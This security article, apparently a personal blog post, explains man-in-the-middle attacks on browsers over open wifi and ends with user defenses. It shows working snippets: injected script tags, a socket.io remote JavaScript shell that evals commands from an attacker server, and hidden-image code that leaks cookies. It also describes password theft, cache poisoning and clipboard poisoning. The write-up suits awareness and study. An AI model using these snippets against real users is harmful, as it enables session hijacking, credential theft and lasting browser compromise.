Introduction
This text is about the dangers of man-in-the-middle attacks on browsers, especially in the scenario of open or rogue wifi networks. The scenario I'm assuming here is something like this:- You are travelling.
- You have your notebook/smartphone/... with you.
- You don't have an internet connection.
- There is an open wifi that you could use.
- You just want to check the news.
- Maybe you also want to check your webmail or so (over SSL, of course)
- Your browser and the plugins in it are fully patched and there's nobody who would attack you with an 0day and has one.
- Your browser executes Javascript (by default). (Some of the attacks are possible without that, but the really scary stuff isn't.)
I will show that an attacker could probably effectively gain code execution access to your machine in the long term.
Sniffing
The first thing an attacker would probably do is to look at your network traffic. What does that reveal? Well, he can see your DNS traffic and your HTTP traffic. The DNS traffic is pretty uninteresting, and the HTTP traffic also isn't very interesting — the attacker can tell which articles you looked at, and if you don't use an adblocker, he can also see some traffic to ad networks. That's pretty much useless.Getting a (JS) shell
However, the attacker is not limited to listening to your traffic, he can also modify everything you send and receive over plain HTTP. This means that he can get a javascript shell in the context of every unencrypted page that you look at in your browser by injecting some code into all HTML pages that it sees:$ curl --proxy localhost:8080 http://blog.fefe.de/faq.html <script>var __evil_injection_server="192.168.178.21:8042"</script> <script src="http://192.168.178.21:8042/socket.io/socket.io.js"></script> <script src="http://192.168.178.21:8042/injection_script.js"></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <META http-equiv="Content-Type" content="text/html; charset=utf-8"> <link rel=stylesheet type="text/css" href="fefe.css"> <title>Fefe Blog FAQ</title> [...]
With something like socket.io, such a remote JS shell is done in a few lines of code. For example, the client side might look like this:(function() { var socket = io.connect('http://'+__evil_injection_server) socket.emit('register_victim', document.location+'') socket.on('eval', function(cmd) { eval(cmd) }) })()
So what does this mean? The attacker can run code in the victim's browser, but only in the name of the news site the victim is looking at. This alone wouldn't be very interesting, but combined with the ability to sniff and manipulate all plain HTTP traffic by the victim, it is.Reading cookies
Cookies are pieces of information that websites can store on your PC. The PC will then send this information whenever it sends a request to the same website again, no matter whether the server wants it at that moment. Often, data in cookies is sufficient to authenticate a request, so cookie data is highly relevant to security.However, there are some restrictions on when cookies are sent:
- The domain must be correct. A cookie might be valid for
www.google.comor*.google.com, but the same cookie certainly won't be sent toyahoo.com. Of course, this is important for security. - The path must be correct. For example, a cookie might be restricted to
the path
/protected_stuff/on a server. This isn't very interesting for us right now. - If the server explicitly tells the browser to flag the cookie as Secure while storing it, the browser will only send the cookie with requests that are performed over a secure connection, e.g. over TLS — our attacker can't access those cookies. However, if the website is merely accessed over a secure connection normally, that does not cause the Secure flag to be set.
var img_el = document.createElement('img') img_el.style.opacity = '0%' img_el.src = victim_url document.body.appendChild(img_el) setTimeout(function() { document.body.removeChild(img_el) }, 60000)
This means that the attacker can read arbitrary non-Secure cookies by causing the browser to request an HTTP URL for which the cookie is valid and sniffing the reply.Examples
These are some sites that can be attacked this way:- Google: email, name, photo
- Wikipedia: Nothing if "Use secure connection" was used, full account access otherwise
- Stack Overflow: full account access
- Wolfram Alpha: IP address used for login, full account access including query history
Stealing passwords
Modern browsers offer to save passwords and pre-fill login forms with them when you need to log in to the website again. If you have saved your login data on any plain-HTTP site that the attacker knows of, he can use his JS shell in the news site to load the site with the login form in an iframe, then inject another JS shell into the iframe and use that to read the password that the browser fills in. Yes, the website might be sending aX-Frame-Options header or some javascript that prevents framing — but the
attacker can just remove all that stuff!
Examples
The german freemailers web.de and GMX have a login form on a plain-HTTP page that sends the password to an HTTPS address. That is secure against simple sniffing, but not against this attack. You might want to manually navigate to the HTTPS versions of those sites...Same thing with Wordpress.com.
Maybe more interesting is all the stuff in your LAN — your routers and so on. You're probably accessing them all over plain HTTP, which means that the attacker might well be able to get your router admin password. He would have to set up a new webserver that serves a login page at your router's IP, but that's not hard.
Cache Poisoning
HTTP lets the server specify that his reply should be stored by the browser, and in the future, this local copy should be used instead of asking the server for it again — that's caching, and for performance, it's nice. However, an attacker can use it for an attack: He can tell the browser to load a certain URL, then rewrite the reply so that it includes something evil and the reply is stored for years. For example, he could add a remote JS console like the one shown above into some JS file. The impact would be that he could run javascript in the context of the site that includes it whenever you look at such a site — even long after you've left the evil wifi!You might have the following question now: "What if the browser has already cached a script? Could an attacker still force the browser to reload the script and take his copy?" As it turns out, the answer is yes, it's very easy. The attacker simply has to load the script into an iframe — this causes the locally cached copy to be loaded — and then call
frame.contentWindow.location.reload(true). The parameter true simply
means "do not use a cached copy, even if you still have a fresh one". (I have no idea what that
is good for.)
Download poisoning
Let's say you're a windows user who sometimes downloads software and installs it. From sourceforge, for example. Have a look at the source code of a sourceforge download site — it always includeshttp://www.google-analytics.com/ga.js. So, an attacker who
poisons that file with some evil code while you're in his wifi can manipulate any sourceforge
download page that you look at later and redirect you to his server instead of a legitimate
mirror. Do you think that you would spot the different download server, especially given that
e.g. Chromium and Chrome don't show you which server you're downloading stuff from and given
that the download was initiated by a site you trust?
Most download pages are served over HTTP because they don't contain confidential data — but the integrity of the code you download is important!
Commandline snippet poisoning
Maybe you're a linux user who says "Ha! Can't happen to me, I only install software using the package manager!". Well, do you maybe sometimes have problems with your system that you google for? And then you end up on sites like ubuntu forums that contain helpful snippets that you just have to copy and paste to your terminal? Well, most forums (like e.g. ubuntu forums) also include JS files from fixed URLs, so an attacker could inject JS into them. Then, when you have looked at a snippet and decided that you want to paste it on your commandline, the attacker can use JS to make you copy something completely different from what you're seeing to your terminal.Attacking internal devices
Of course, the attacker could use the same attack to inject evil code into your browser's version of your home router's webinterface. Then, when you're back at home, he could use a cache-injected script in some site to force-load your router's webinterface, then use the cached evil script in the router's webinterface to access it from outside.Scanning your home network
If you have devices at home whose webinterfaces you have accessed in the past, an attacker can scan for those (assuming that some components of the webinterface are cached). He simply needs to tell the browser to load a should-be-cached resource from every candidate IP, then monitor whether the browser makes a normal request to the URL or not. If not, it's a hit.Defenses
There are some obvious defenses that a user can use to defend himself against attacks like these. Probably the easiest, yet most powerful one is to only use the browser in incognito mode while surfing on insecure networks. This way, no information (like passwords or cookies) can leak out and no evil cache entries can sneak in. Another one is to use a trusted VPN: This way, you only have to trust the VPN provider instead of the network you are using.Comments and similar stuff to jann+wtumw2_article@thejh.net, please.